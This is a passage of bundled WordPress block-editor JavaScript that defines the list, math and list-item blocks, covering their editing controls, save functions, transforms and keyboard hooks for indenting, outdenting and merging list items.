    name: &quot;core/list-item&quot;
  };
  var TEMPLATE9 = [[&quot;core/list-item&quot;]];
  var NATIVE_MARGIN_SPACING = 8;
  function useMigrateOnLoad(attributes2, clientId) {
    const registry = (0, import_data50.useRegistry)();
    const { updateBlockAttributes, replaceInnerBlocks } = (0, import_data50.useDispatch)(import_block_editor119.store);
    (0, import_element49.useEffect)(() =&gt; {
      if (!attributes2.values) {
        return;
      }
      const [newAttributes, newInnerBlocks] = migrateToListV2(attributes2);
      (0, import_deprecated26.default)(&quot;Value attribute on the list block&quot;, {
        since: &quot;6.0&quot;,
        version: &quot;6.5&quot;,
        alternative: &quot;inner blocks&quot;
      });
      registry.batch(() =&gt; {
        updateBlockAttributes(clientId, newAttributes);
        replaceInnerBlocks(clientId, newInnerBlocks);
      });
    }, [attributes2.values]);
  }
  function useOutdentList(clientId) {
    const { replaceBlocks, selectionChange } = (0, import_data50.useDispatch)(import_block_editor119.store);
    const { getBlockRootClientId, getBlockAttributes: getBlockAttributes4, getBlock } = (0, import_data50.useSelect)(import_block_editor119.store);
    return (0, import_element49.useCallback)(() =&gt; {
      const parentBlockId = getBlockRootClientId(clientId);
      const parentBlockAttributes = getBlockAttributes4(parentBlockId);
      const newParentBlock = (0, import_blocks42.createBlock)(
        &quot;core/list-item&quot;,
        parentBlockAttributes
      );
      const { innerBlocks } = getBlock(clientId);
      replaceBlocks([parentBlockId], [newParentBlock, ...innerBlocks]);
      selectionChange(innerBlocks[innerBlocks.length - 1].clientId);
    }, [clientId]);
  }
  function IndentUI({ clientId }) {
    const outdentList = useOutdentList(clientId);
    const canOutdent = (0, import_data50.useSelect)(
      (select9) =&gt; {
        const { getBlockRootClientId, getBlockName } = select9(import_block_editor119.store);
        return getBlockName(getBlockRootClientId(clientId)) === &quot;core/list-item&quot;;
      },
      [clientId]
    );
    return /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(import_jsx_runtime287.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(
      import_components61.ToolbarButton,
      {
        icon: (0, import_i18n99.isRTL)() ? format_outdent_rtl_default : format_outdent_default,
        title: (0, import_i18n99.__)(&quot;Outdent&quot;),
        description: (0, import_i18n99.__)(&quot;Outdent list item&quot;),
        disabled: !canOutdent,
        onClick: outdentList
      }
    ) });
  }
  function Edit17({ attributes: attributes2, setAttributes, clientId, style: style2 }) {
    const { ordered, type, reversed, start } = attributes2;
    const blockProps = (0, import_block_editor119.useBlockProps)({
      style: {
        ...import_element49.Platform.isNative &amp;&amp; style2,
        listStyleType: ordered &amp;&amp; type !== &quot;decimal&quot; ? type : void 0
      }
    });
    const innerBlocksProps = (0, import_block_editor119.useInnerBlocksProps)(blockProps, {
      defaultBlock: DEFAULT_BLOCK4,
      directInsert: true,
      template: TEMPLATE9,
      templateLock: false,
      templateInsertUpdatesSelection: true,
      ...import_element49.Platform.isNative &amp;&amp; {
        marginVertical: NATIVE_MARGIN_SPACING,
        marginHorizontal: NATIVE_MARGIN_SPACING,
        renderAppender: false
      },
      __experimentalCaptureToolbars: true
    });
    useMigrateOnLoad(attributes2, clientId);
    const controls = /* @__PURE__ */ (0, import_jsx_runtime287.jsxs)(import_block_editor119.BlockControls, { group: &quot;block&quot;, children: [
      /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(
        import_components61.ToolbarButton,
        {
          icon: (0, import_i18n99.isRTL)() ? format_list_bullets_rtl_default : format_list_bullets_default,
          title: (0, import_i18n99.__)(&quot;Unordered&quot;),
          description: (0, import_i18n99.__)(&quot;Convert to unordered list&quot;),
          isActive: ordered === false,
          onClick: () =&gt; {
            setAttributes({ ordered: false });
          }
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(
        import_components61.ToolbarButton,
        {
          icon: (0, import_i18n99.isRTL)() ? format_list_numbered_rtl_default : format_list_numbered_default,
          title: (0, import_i18n99.__)(&quot;Ordered&quot;),
          description: (0, import_i18n99.__)(&quot;Convert to ordered list&quot;),
          isActive: ordered === true,
          onClick: () =&gt; {
            setAttributes({ ordered: true });
          }
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(IndentUI, { clientId })
    ] });
    return /* @__PURE__ */ (0, import_jsx_runtime287.jsxs)(import_jsx_runtime287.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(
        tag_name_default,
        {
          ordered,
          reversed,
          start,
          ...innerBlocksProps
        }
      ),
      controls,
      ordered &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(
        ordered_list_settings_default,
        {
          ...{
            setAttributes,
            reversed,
            start,
            type
          }
        }
      )
    ] });
  }

  // packages/block-library/build-module/list/block.json
  var block_default47 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/list&quot;,
    title: &quot;List&quot;,
    category: &quot;text&quot;,
    allowedBlocks: [&quot;core/list-item&quot;],
    description: &quot;An organized collection of items displayed in a specific order.&quot;,
    keywords: [&quot;bullet list&quot;, &quot;ordered list&quot;, &quot;numbered list&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      ordered: {
        type: &quot;boolean&quot;,
        default: false,
        role: &quot;content&quot;
      },
      values: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;ol,ul&quot;,
        multiline: &quot;li&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      type: {
        type: &quot;string&quot;
      },
      start: {
        type: &quot;number&quot;
      },
      reversed: {
        type: &quot;boolean&quot;
      },
      placeholder: {
        type: &quot;string&quot;
      }
    },
    supports: {
      anchor: true,
      html: false,
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      __unstablePasteTextInline: true,
      __experimentalOnMerge: true,
      __experimentalSlashInserter: true,
      interactivity: {
        clientNavigation: true
      },
      listView: true
    },
    selectors: {
      border: &quot;.wp-block-list:not(.wp-block-list .wp-block-list)&quot;
    },
    editorStyle: &quot;wp-block-list-editor&quot;,
    style: &quot;wp-block-list&quot;
  };

  // packages/block-library/build-module/list/save.mjs
  var import_block_editor120 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime288 = __toESM(require_jsx_runtime(), 1);
  function save27({ attributes: attributes2 }) {
    const { ordered, type, reversed, start } = attributes2;
    const TagName2 = ordered ? &quot;ol&quot; : &quot;ul&quot;;
    return /* @__PURE__ */ (0, import_jsx_runtime288.jsx)(
      TagName2,
      {
        ...import_block_editor120.useBlockProps.save({
          reversed,
          start,
          style: {
            listStyleType: ordered &amp;&amp; type !== &quot;decimal&quot; ? type : void 0
          }
        }),
        children: /* @__PURE__ */ (0, import_jsx_runtime288.jsx)(import_block_editor120.InnerBlocks.Content, {})
      }
    );
  }

  // packages/block-library/build-module/list/transforms.mjs
  var import_blocks43 = __toESM(require_blocks(), 1);
  var import_rich_text4 = __toESM(require_rich_text(), 1);
  function getListContentSchema({ phrasingContentSchema }) {
    const listContentSchema = {
      ...phrasingContentSchema,
      ul: {},
      ol: { attributes: [&quot;type&quot;, &quot;start&quot;, &quot;reversed&quot;] }
    };
    [&quot;ul&quot;, &quot;ol&quot;].forEach((tag) =&gt; {
      listContentSchema[tag].children = {
        li: {
          children: listContentSchema
        }
      };
    });
    return listContentSchema;
  }
  function getListContentFlat(blocks) {
    return blocks.flatMap(({ name: name123, attributes: attributes2, innerBlocks = [] }) =&gt; {
      if (name123 === &quot;core/list-item&quot;) {
        return [attributes2.content, ...getListContentFlat(innerBlocks)];
      }
      return getListContentFlat(innerBlocks);
    });
  }
  var transforms14 = {
    from: [
      {
        type: &quot;block&quot;,
        isMultiBlock: true,
        blocks: [&quot;core/paragraph&quot;, &quot;core/heading&quot;],
        transform: (blockAttributes8) =&gt; {
          let childBlocks = [];
          if (blockAttributes8.length &gt; 1) {
            childBlocks = blockAttributes8.map(({ content }) =&gt; {
              return (0, import_blocks43.createBlock)(&quot;core/list-item&quot;, { content });
            });
          } else if (blockAttributes8.length === 1) {
            const value = (0, import_rich_text4.create)({
              html: blockAttributes8[0].content
            });
            childBlocks = (0, import_rich_text4.split)(value, &quot;\n&quot;).map((result) =&gt; {
              return (0, import_blocks43.createBlock)(&quot;core/list-item&quot;, {
                content: (0, import_rich_text4.toHTMLString)({ value: result })
              });
            });
          }
          return (0, import_blocks43.createBlock)(
            &quot;core/list&quot;,
            {
              anchor: blockAttributes8.anchor
            },
            childBlocks
          );
        }
      },
      {
        type: &quot;raw&quot;,
        selector: &quot;ol,ul&quot;,
        schema: (args) =&gt; ({
          ol: getListContentSchema(args).ol,
          ul: getListContentSchema(args).ul
        }),
        transform: createListBlockFromDOMElement
      },
      ...[&quot;*&quot;, &quot;-&quot;].map((prefix) =&gt; ({
        type: &quot;prefix&quot;,
        prefix,
        transform(content) {
          return (0, import_blocks43.createBlock)(&quot;core/list&quot;, {}, [
            (0, import_blocks43.createBlock)(&quot;core/list-item&quot;, { content })
          ]);
        }
      })),
      ...[&quot;1.&quot;, &quot;1)&quot;].map((prefix) =&gt; ({
        type: &quot;prefix&quot;,
        prefix,
        transform(content) {
          return (0, import_blocks43.createBlock)(
            &quot;core/list&quot;,
            {
              ordered: true
            },
            [(0, import_blocks43.createBlock)(&quot;core/list-item&quot;, { content })]
          );
        }
      }))
    ],
    to: [
      ...[&quot;core/paragraph&quot;, &quot;core/heading&quot;].map((block) =&gt; ({
        type: &quot;block&quot;,
        blocks: [block],
        transform: (_attributes, childBlocks) =&gt; {
          return getListContentFlat(childBlocks).map(
            (content) =&gt; (0, import_blocks43.createBlock)(block, {
              content
            })
          );
        }
      }))
    ]
  };
  var transforms_default15 = transforms14;

  // packages/block-library/build-module/list/index.mjs
  var { name: name47 } = block_default47;
  var settings47 = {
    icon: list_default,
    example: {
      innerBlocks: [
        {
          name: &quot;core/list-item&quot;,
          attributes: { content: (0, import_i18n100.__)(&quot;Alice.&quot;) }
        },
        {
          name: &quot;core/list-item&quot;,
          attributes: { content: (0, import_i18n100.__)(&quot;The White Rabbit.&quot;) }
        },
        {
          name: &quot;core/list-item&quot;,
          attributes: { content: (0, import_i18n100.__)(&quot;The Cheshire Cat.&quot;) }
        },
        {
          name: &quot;core/list-item&quot;,
          attributes: { content: (0, import_i18n100.__)(&quot;The Mad Hatter.&quot;) }
        },
        {
          name: &quot;core/list-item&quot;,
          attributes: { content: (0, import_i18n100.__)(&quot;The Queen of Hearts.&quot;) }
        }
      ]
    },
    transforms: transforms_default15,
    edit: Edit17,
    save: save27,
    deprecated: deprecated_default25
  };
  var init47 = () =&gt; initBlock({ name: name47, metadata: block_default47, settings: settings47 });

  // packages/block-library/build-module/math/index.mjs
  var math_exports = {};
  __export(math_exports, {
    init: () =&gt; init48,
    metadata: () =&gt; block_default48,
    name: () =&gt; name48,
    settings: () =&gt; settings48
  });

  // packages/block-library/build-module/math/edit.mjs
  var import_i18n101 = __toESM(require_i18n(), 1);
  var import_block_editor121 = __toESM(require_block_editor(), 1);
  var import_components62 = __toESM(require_components(), 1);
  var import_element50 = __toESM(require_element(), 1);
  var import_data51 = __toESM(require_data(), 1);
  var import_a11y = __toESM(require_a11y(), 1);
  var import_jsx_runtime289 = __toESM(require_jsx_runtime(), 1);
  var { Badge } = unlock(import_components62.privateApis);
  function MathEdit({ attributes: attributes2, setAttributes, isSelected }) {
    const { latex, mathML } = attributes2;
    const [blockRef, setBlockRef] = (0, import_element50.useState)();
    const [error, setError] = (0, import_element50.useState)(null);
    const [latexToMathML, setLatexToMathML] = (0, import_element50.useState)();
    const initialLatex = (0, import_element50.useRef)(latex);
    const { __unstableMarkNextChangeAsNotPersistent } = (0, import_data51.useDispatch)(import_block_editor121.store);
    (0, import_element50.useEffect)(() =&gt; {
      import(&quot;@wordpress/latex-to-mathml&quot;).then((module) =&gt; {
        setLatexToMathML(() =&gt; module.default);
        if (initialLatex.current) {
          __unstableMarkNextChangeAsNotPersistent();
          setAttributes({
            mathML: module.default(initialLatex.current, {
              displayMode: true
            })
          });
        }
      });
    }, [
      initialLatex,
      setAttributes,
      __unstableMarkNextChangeAsNotPersistent
    ]);
    const blockProps = (0, import_block_editor121.useBlockProps)({
      ref: setBlockRef,
      position: &quot;relative&quot;
    });
    return /* @__PURE__ */ (0, import_jsx_runtime289.jsxs)(&quot;div&quot;, { ...blockProps, children: [
      mathML ? /* @__PURE__ */ (0, import_jsx_runtime289.jsx)(
        &quot;math&quot;,
        {
          display: &quot;block&quot;,
          dangerouslySetInnerHTML: { __html: mathML }
        }
      ) : &quot;\u200B&quot;,
      isSelected &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime289.jsx)(
        import_components62.Popover,
        {
          placement: &quot;bottom-start&quot;,
          offset: 8,
          anchor: blockRef,
          focusOnMount: false,
          __unstableSlotName: &quot;__unstable-block-tools-after&quot;,
          children: /* @__PURE__ */ (0, import_jsx_runtime289.jsx)(&quot;div&quot;, { style: { padding: &quot;4px&quot;, minWidth: &quot;300px&quot; }, children: /* @__PURE__ */ (0, import_jsx_runtime289.jsxs)(import_components62.__experimentalVStack, { spacing: 1, children: [
            /* @__PURE__ */ (0, import_jsx_runtime289.jsx)(
              import_components62.TextareaControl,
              {
                __next40pxDefaultSize: true,
                label: (0, import_i18n101.__)(&quot;LaTeX math syntax&quot;),
                hideLabelFromVision: true,
                value: latex,
                className: &quot;wp-block-math__textarea-control&quot;,
                onChange: (newLatex) =&gt; {
                  if (!latexToMathML) {
                    setAttributes({ latex: newLatex });
                    return;
                  }
                  let newMathML = &quot;&quot;;
                  try {
                    newMathML = latexToMathML(newLatex, {
                      displayMode: true
                    });
                    setError(null);
                  } catch (err) {
                    setError(err.message);
                    (0, import_a11y.speak)(
                      (0, import_i18n101.sprintf)(
                        /* translators: %s: error message returned when parsing LaTeX. */
                        (0, import_i18n101.__)(
                          &quot;Error parsing mathematical expression: %s&quot;
                        ),
                        err.message
                      )
                    );
                  }
                  setAttributes({
                    mathML: newMathML,
                    latex: newLatex
                  });
                },
                placeholder: (0, import_i18n101.__)(&quot;e.g., x^2, \\frac{a}{b}&quot;)
              }
            ),
            error &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime289.jsxs)(import_jsx_runtime289.Fragment, { children: [
              /* @__PURE__ */ (0, import_jsx_runtime289.jsx)(
                Badge,
                {
                  intent: &quot;error&quot;,
                  className: &quot;wp-block-math__error&quot;,
                  children: (0, import_i18n101.sprintf)(
                    /* translators: %s: error message returned when parsing LaTeX. */
                    (0, import_i18n101.__)(&quot;Error: %s&quot;),
                    error
                  )
                }
              ),
              /* @__PURE__ */ (0, import_jsx_runtime289.jsx)(&quot;style&quot;, { children: &quot;.wp-block-math__error .components-badge__content{white-space:normal}&quot; })
            ] })
          ] }) })
        }
      )
    ] });
  }

  // packages/block-library/build-module/math/block.json
  var block_default48 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/math&quot;,
    title: &quot;Math&quot;,
    category: &quot;text&quot;,
    description: &quot;Display mathematical notation using LaTeX.&quot;,
    keywords: [&quot;equation&quot;, &quot;formula&quot;, &quot;latex&quot;, &quot;mathematics&quot;],
    textdomain: &quot;default&quot;,
    supports: {
      anchor: true,
      html: false,
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true
      },
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      }
    },
    attributes: {
      latex: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      mathML: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;math&quot;
      }
    }
  };

  // packages/block-library/build-module/math/save.mjs
  var import_block_editor122 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime290 = __toESM(require_jsx_runtime(), 1);
  function save28({ attributes: attributes2 }) {
    const { latex, mathML } = attributes2;
    if (!latex) {
      return null;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime290.jsx)(&quot;div&quot;, { ...import_block_editor122.useBlockProps.save(), children: /* @__PURE__ */ (0, import_jsx_runtime290.jsx)(
      &quot;math&quot;,
      {
        display: &quot;block&quot;,
        dangerouslySetInnerHTML: { __html: mathML }
      }
    ) });
  }

  // packages/block-library/build-module/math/deprecated.mjs
  var import_block_editor123 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime291 = __toESM(require_jsx_runtime(), 1);
  var v123 = {
    attributes: {
      latex: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      mathML: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;math&quot;
      }
    },
    save({ attributes: attributes2 }) {
      const { latex, mathML } = attributes2;
      if (!latex) {
        return null;
      }
      return /* @__PURE__ */ (0, import_jsx_runtime291.jsx)(
        &quot;math&quot;,
        {
          ...import_block_editor123.useBlockProps.save(),
          display: &quot;block&quot;,
          dangerouslySetInnerHTML: { __html: mathML }
        }
      );
    }
  };
  var deprecated_default26 = [v123];

  // packages/block-library/build-module/math/index.mjs
  var { name: name48 } = block_default48;
  var settings48 = {
    icon: math_default,
    example: {
      attributes: {
        latex: &quot;x = \\frac{-b \\pm \\sqrt{b^2-4ac}}{2a}&quot;,
        mathML: &#039;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mo lspace=&quot;0em&quot; rspace=&quot;0em&quot;&gt;\u2212&lt;/mo&gt;&lt;mi&gt;b&lt;/mi&gt;&lt;mo&gt;\xB1&lt;/mo&gt;&lt;msqrt&gt;&lt;mrow&gt;&lt;msup&gt;&lt;mi&gt;b&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msup&gt;&lt;mo&gt;\u2212&lt;/mo&gt;&lt;mn&gt;4&lt;/mn&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;/mrow&gt;&lt;/msqrt&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;x = \\frac{-b \\pm \\sqrt{b^2-4ac}}{2a}&lt;/annotation&gt;&lt;/semantics&gt;&#039;
      },
      viewportWidth: 300
    },
    edit: MathEdit,
    save: save28,
    deprecated: deprecated_default26
  };
  var init48 = () =&gt; initBlock({ name: name48, metadata: block_default48, settings: settings48 });

  // packages/block-library/build-module/list-item/index.mjs
  var list_item_exports = {};
  __export(list_item_exports, {
    init: () =&gt; init49,
    metadata: () =&gt; block_default49,
    name: () =&gt; name49,
    settings: () =&gt; settings49
  });
  var import_i18n103 = __toESM(require_i18n(), 1);
  var import_block_editor131 = __toESM(require_block_editor(), 1);
  var import_blocks49 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/list-item/block.json
  var block_default49 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/list-item&quot;,
    title: &quot;List Item&quot;,
    category: &quot;text&quot;,
    parent: [&quot;core/list&quot;],
    allowedBlocks: [&quot;core/list&quot;],
    description: &quot;An individual item within a list.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      placeholder: {
        type: &quot;string&quot;
      },
      content: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;li&quot;,
        role: &quot;content&quot;
      }
    },
    supports: {
      anchor: true,
      className: false,
      splitting: true,
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true
      },
      color: {
        gradients: true,
        link: true,
        background: true,
        __experimentalDefaultControls: {
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    selectors: {
      root: &quot;.wp-block-list &gt; li&quot;,
      border: &quot;.wp-block-list:not(.wp-block-list .wp-block-list) &gt; li&quot;
    }
  };

  // packages/block-library/build-module/list-item/edit.mjs
  var import_block_editor129 = __toESM(require_block_editor(), 1);
  var import_i18n102 = __toESM(require_i18n(), 1);
  var import_components63 = __toESM(require_components(), 1);
  var import_compose29 = __toESM(require_compose(), 1);
  var import_data57 = __toESM(require_data(), 1);
  var import_keycodes4 = __toESM(require_keycodes(), 1);

  // packages/block-library/build-module/list-item/hooks/use-outdent-list-item.mjs
  var import_element51 = __toESM(require_element(), 1);
  var import_data52 = __toESM(require_data(), 1);
  var import_block_editor124 = __toESM(require_block_editor(), 1);
  var import_blocks44 = __toESM(require_blocks(), 1);
  function useOutdentListItem() {
    const registry = (0, import_data52.useRegistry)();
    const {
      moveBlocksToPosition,
      removeBlock,
      insertBlock,
      updateBlockListSettings
    } = (0, import_data52.useDispatch)(import_block_editor124.store);
    const {
      getBlockRootClientId,
      getBlockName,
      getBlockOrder,
      getBlockIndex,
      getSelectedBlockClientIds,
      getBlock,
      getBlockListSettings
    } = (0, import_data52.useSelect)(import_block_editor124.store);
    function getParentListItemId(id) {
      const listId = getBlockRootClientId(id);
      const parentListItemId = getBlockRootClientId(listId);
      if (!parentListItemId) {
        return;
      }
      if (getBlockName(parentListItemId) !== &quot;core/list-item&quot;) {
        return;
      }
      return parentListItemId;
    }
    return (0, import_element51.useCallback)((clientIds = getSelectedBlockClientIds()) =&gt; {
      if (!Array.isArray(clientIds)) {
        clientIds = [clientIds];
      }
      if (!clientIds.length) {
        return;
      }
      const firstClientId = clientIds[0];
      if (getBlockName(firstClientId) !== &quot;core/list-item&quot;) {
        return;
      }
      const parentListItemId = getParentListItemId(firstClientId);
      if (!parentListItemId) {
        return;
      }
      const parentListId = getBlockRootClientId(firstClientId);
      const lastClientId = clientIds[clientIds.length - 1];
      const order = getBlockOrder(parentListId);
      const followingListItems = order.slice(
        getBlockIndex(lastClientId) + 1
      );
      registry.batch(() =&gt; {
        if (followingListItems.length) {
          let nestedListId = getBlockOrder(firstClientId)[0];
          if (!nestedListId) {
            const nestedListBlock = (0, import_blocks44.cloneBlock)(
              getBlock(parentListId),
              {},
              []
            );
            nestedListId = nestedListBlock.clientId;
            insertBlock(nestedListBlock, 0, firstClientId, false);
            updateBlockListSettings(
              nestedListId,
              getBlockListSettings(parentListId)
            );
          }
          moveBlocksToPosition(
            followingListItems,
            parentListId,
            nestedListId
          );
        }
        moveBlocksToPosition(
          clientIds,
          parentListId,
          getBlockRootClientId(parentListItemId),
          getBlockIndex(parentListItemId) + 1
        );
        if (!getBlockOrder(parentListId).length) {
          const shouldSelectParent = false;
          removeBlock(parentListId, shouldSelectParent);
        }
      });
      return true;
    }, []);
  }

  // packages/block-library/build-module/list-item/hooks/use-indent-list-item.mjs
  var import_element52 = __toESM(require_element(), 1);
  var import_data53 = __toESM(require_data(), 1);
  var import_block_editor125 = __toESM(require_block_editor(), 1);
  var import_blocks45 = __toESM(require_blocks(), 1);
  function useIndentListItem(clientId) {
    const { replaceBlocks, selectionChange, multiSelect } = (0, import_data53.useDispatch)(import_block_editor125.store);
    const {
      getBlock,
      getPreviousBlockClientId,
      getSelectionStart,
      getSelectionEnd,
      hasMultiSelection,
      getMultiSelectedBlockClientIds
    } = (0, import_data53.useSelect)(import_block_editor125.store);
    return (0, import_element52.useCallback)(() =&gt; {
      const _hasMultiSelection = hasMultiSelection();
      const clientIds = _hasMultiSelection ? getMultiSelectedBlockClientIds() : [clientId];
      const clonedBlocks = clientIds.map(
        (_clientId) =&gt; (0, import_blocks45.cloneBlock)(getBlock(_clientId))
      );
      const previousSiblingId = getPreviousBlockClientId(clientId);
      const newListItem = (0, import_blocks45.cloneBlock)(getBlock(previousSiblingId));
      if (!newListItem.innerBlocks?.length) {
        newListItem.innerBlocks = [(0, import_blocks45.createBlock)(&quot;core/list&quot;)];
      }
      newListItem.innerBlocks[newListItem.innerBlocks.length - 1].innerBlocks.push(...clonedBlocks);
      const selectionStart = getSelectionStart();
      const selectionEnd = getSelectionEnd();
      replaceBlocks([previousSiblingId, ...clientIds], [newListItem]);
      if (!_hasMultiSelection) {
        selectionChange(
          clonedBlocks[0].clientId,
          selectionEnd.attributeKey,
          selectionEnd.clientId === selectionStart.clientId ? selectionStart.offset : selectionEnd.offset,
          selectionEnd.offset
        );
      } else {
        multiSelect(
          clonedBlocks[0].clientId,
          clonedBlocks[clonedBlocks.length - 1].clientId
        );
      }
      return true;
    }, [clientId]);
  }

  // packages/block-library/build-module/list-item/hooks/use-enter.mjs
  var import_blocks46 = __toESM(require_blocks(), 1);
  var import_element53 = __toESM(require_element(), 1);
  var import_compose27 = __toESM(require_compose(), 1);
  var import_keycodes2 = __toESM(require_keycodes(), 1);
  var import_data54 = __toESM(require_data(), 1);
  var import_block_editor126 = __toESM(require_block_editor(), 1);
  function useEnter2(props) {
    const { replaceBlocks, selectionChange } = (0, import_data54.useDispatch)(import_block_editor126.store);
    const { getBlock, getBlockRootClientId, getBlockIndex, getBlockName } = (0, import_data54.useSelect)(import_block_editor126.store);
    const propsRef = (0, import_element53.useRef)(props);
    propsRef.current = props;
    const outdentListItem = useOutdentListItem();
    return (0, import_compose27.useRefEffect)((element) =&gt; {
      function onKeyDown(event) {
        if (event.defaultPrevented || event.keyCode !== import_keycodes2.ENTER) {
          return;
        }
        const { content, clientId } = propsRef.current;
        if (content.length) {
          return;
        }
        event.preventDefault();
        const canOutdent = getBlockName(
          getBlockRootClientId(
            getBlockRootClientId(propsRef.current.clientId)
          )
        ) === &quot;core/list-item&quot;;
        if (canOutdent) {
          outdentListItem();
          return;
        }
        const topParentListBlock = getBlock(
          getBlockRootClientId(clientId)
        );
        const blockIndex = getBlockIndex(clientId);
        const head = (0, import_blocks46.cloneBlock)({
          ...topParentListBlock,
          innerBlocks: topParentListBlock.innerBlocks.slice(
            0,
            blockIndex
          )
        });
        const middle = (0, import_blocks46.createBlock)((0, import_blocks46.getDefaultBlockName)());
        const after = [
          ...topParentListBlock.innerBlocks[blockIndex].innerBlocks[0]?.innerBlocks || [],
          ...topParentListBlock.innerBlocks.slice(blockIndex + 1)
        ];
        const tail = after.length ? [
          (0, import_blocks46.cloneBlock)({
            ...topParentListBlock,
            innerBlocks: after
          })
        ] : [];
        replaceBlocks(
          topParentListBlock.clientId,
          [head, middle, ...tail],
          1
        );
        selectionChange(middle.clientId);
      }
      element.addEventListener(&quot;keydown&quot;, onKeyDown);
      return () =&gt; {
        element.removeEventListener(&quot;keydown&quot;, onKeyDown);
      };
    }, []);
  }

  // packages/block-library/build-module/list-item/hooks/use-space.mjs
  var import_compose28 = __toESM(require_compose(), 1);
  var import_keycodes3 = __toESM(require_keycodes(), 1);
  var import_block_editor127 = __toESM(require_block_editor(), 1);
  var import_data55 = __toESM(require_data(), 1);
  function useSpace(clientId) {
    const { getSelectionStart, getSelectionEnd, getBlockIndex } = (0, import_data55.useSelect)(import_block_editor127.store);
    const indentListItem = useIndentListItem(clientId);
    const outdentListItem = useOutdentListItem();
    return (0, import_compose28.useRefEffect)(
      (element) =&gt; {
        function onKeyDown(event) {
          const { keyCode, shiftKey, altKey, metaKey, ctrlKey } = event;
          if (event.defaultPrevented || keyCode !== import_keycodes3.SPACE &amp;&amp; keyCode !== import_keycodes3.TAB || // Only override when no modifiers are pressed.
          altKey || metaKey || ctrlKey) {
            return;
          }
          const selectionStart = getSelectionStart();
          const selectionEnd = getSelectionEnd();
          if (selectionStart.offset === 0 &amp;&amp; selectionEnd.offset === 0) {
            if (shiftKey) {
              if (keyCode === import_keycodes3.TAB) {
                if (outdentListItem()) {
                  event.preventDefault();
                }
              }
            } else if (getBlockIndex(clientId) !== 0) {
              if (indentListItem()) {
                event.preventDefault();
              }
            }
          }
        }
        element.addEventListener(&quot;keydown&quot;, onKeyDown);
        return () =&gt; {
          element.removeEventListener(&quot;keydown&quot;, onKeyDown);
        };
      },
      [clientId, indentListItem]
    );
  }

  // packages/block-library/build-module/list-item/hooks/use-merge.mjs
  var import_data56 = __toESM(require_data(), 1);
  var import_block_editor128 = __toESM(require_block_editor(), 1);
  var import_blocks47 = __toESM(require_blocks(), 1);
  function useMerge(clientId, onMerge) {
    const registry = (0, import_data56.useRegistry)();
    const {
      getPreviousBlockClientId,
      getNextBlockClientId,
      getBlockOrder,
      getBlockRootClientId,
      getBlockName,
      getBlock
    } = (0, import_data56.useSelect)(import_block_editor128.store);
    const { mergeBlocks, moveBlocksToPosition, removeBlock } = (0, import_data56.useDispatch)(import_block_editor128.store);
    const outdentListItem = useOutdentListItem();
    function getTrailingId(id) {
      const order = getBlockOrder(id);
      if (!order.length) {
        return id;
      }
      return getTrailingId(order[order.length - 1]);
    }
    function getParentListItemId(id) {
